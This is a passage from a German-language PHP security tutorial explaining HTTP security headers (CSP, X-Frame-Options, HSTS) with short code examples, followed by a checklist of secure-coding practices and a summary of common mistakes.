Content-Security-Policy (CSP)

Definiert, welche Ressourcen geladen werden dürfen:

PHP
<?php
// Beispiel: Erlaube nur eigene Scripts und Styles, externe Bilder
header("Content-Security-Policy: 
    default-src 'self';
    script-src 'self' https://cdnjs.cloudflare.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' https: data:;
    font-src 'self';
    connect-src 'self';
    frame-ancestors 'none'
");
?>

X-Frame-Options

Verhindert, dass deine Seite in iframes eingebettet wird (Clickjacking-Schutz):

  • DENY - Keine iframes erlaubt
  • SAMEORIGIN - Nur eigene Domain darf einbetten

Strict-Transport-Security (HSTS)

Erzwingt HTTPS für eine bestimmte Zeit:

PHP
<?php
// 1 Jahr HTTPS erzwingen, inkl. Subdomains
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
?>
HSTS Vorsicht!

Setze HSTS nur, wenn du sicher bist, dass deine Seite immer über HTTPS läuft. Mit preload wird deine Domain in Browser-Listen eingetragen - Rückgängig machen kann Monate dauern!

Security-Checkliste

Hier ist deine Checkliste für sichere PHP-Anwendungen:

Input-Validierung & Output-Encoding

  • Alle Nutzereingaben mit htmlspecialchars() ausgeben
  • SQL-Queries nur mit Prepared Statements
  • Formulardaten validieren (Typ, Länge, Format)
  • Whitelists statt Blacklists verwenden

Authentication & Sessions

  • Passwörter mit password_hash() hashen
  • Session-ID nach Login regenerieren
  • Secure, HttpOnly, SameSite Cookie-Flags setzen
  • Rate Limiting für Login-Versuche
  • Session-Timeout implementieren

CSRF-Schutz

  • CSRF-Tokens in allen Formularen
  • Token-Validierung mit hash_equals()
  • SameSite-Cookie-Attribut nutzen

File Uploads

  • MIME-Type UND Extension prüfen
  • Dateigröße limitieren
  • Sichere Dateinamen generieren
  • Upload-Verzeichnis außerhalb Web-Root oder PHP-Ausführung deaktivieren
  • Bei Bildern: getimagesize() nutzen

Configuration

  • display_errors = Off in Produktion
  • Fehler in Log-Datei schreiben
  • HTTPS verwenden (Let's Encrypt ist kostenlos!)
  • Security Headers setzen
  • PHP und Libraries aktuell halten

Database

  • Prepared Statements für alle Queries
  • Separater DB-User mit minimalen Rechten
  • Keine Root-Credentials in Code
  • Sensitive Daten in .env-Datei (außerhalb Web-Root)

Best Practices

  • declare(strict_types=1) nutzen
  • Nie Nutzereingaben vertrauen
  • Principle of Least Privilege (minimale Rechte)
  • Defense in Depth (mehrere Schutzebenen)
  • Code-Reviews und Security-Audits
Ressourcen für weitere Infos

Zusammenfassung

Sicherheit ist kein einmaliges Feature, sondern ein fortlaufender Prozess. Die wichtigsten Takeaways:

Die goldene Regel

VERTRAUE NIEMALS NUTZEREINGABEN!

Alles, was von außen kommt, ist potentiell gefährlich. Validiere, bereinige, escape - immer und überall.

Die häufigsten Fehler

  • Direkte Ausgabe von $_GET, $_POST ohne Bereinigung
  • SQL-Queries mit String-Concatenation statt Prepared Statements
  • Fehlende CSRF-Tokens in Formularen
  • Passwörter im Klartext oder mit veralteten Hashes (MD5, SHA1)
  • Zu detaillierte Fehlermeldungen in Produktion
  • Unsichere Session-Konfiguration
  • File-Uploads ohne Validierung

Das Security-Mindset

  • Was passiert, wenn ich hier <script> eingebe?
  • Kann ich mit manipulierten URLs auf fremde Daten zugreifen?
  • Was passiert, wenn ich riesige Dateien hochlade?
  • Kann ich SQL-Befehle in dieses Feld eingeben?
  • Kann ich CSRF-Angriffe durchführen?

Denke immer wie ein Angreifer!

Nächste Schritte

Sicherheit ist ein weites Feld. Weitere wichtige Themen:

  • Two-Factor Authentication (2FA)
  • OAuth & JWT für moderne APIs
  • Security Testing (Penetration Testing, Vulnerability Scanning)
  • Logging & Monitoring für Angriffserkennnung
  • Dependency Management (Composer, npm) - Updates!

Sichere Programmierung ist keine Raketenwissenschaft, aber sie erfordert Aufmerksamkeit und Disziplin. Die hier vorgestellten Methoden decken die wichtigsten Angriffsvektoren ab. Nutze sie konsequent, und deine Anwendungen werden deutlich sicherer sein!

Mehr aus PHP

Tutorials werden geladen...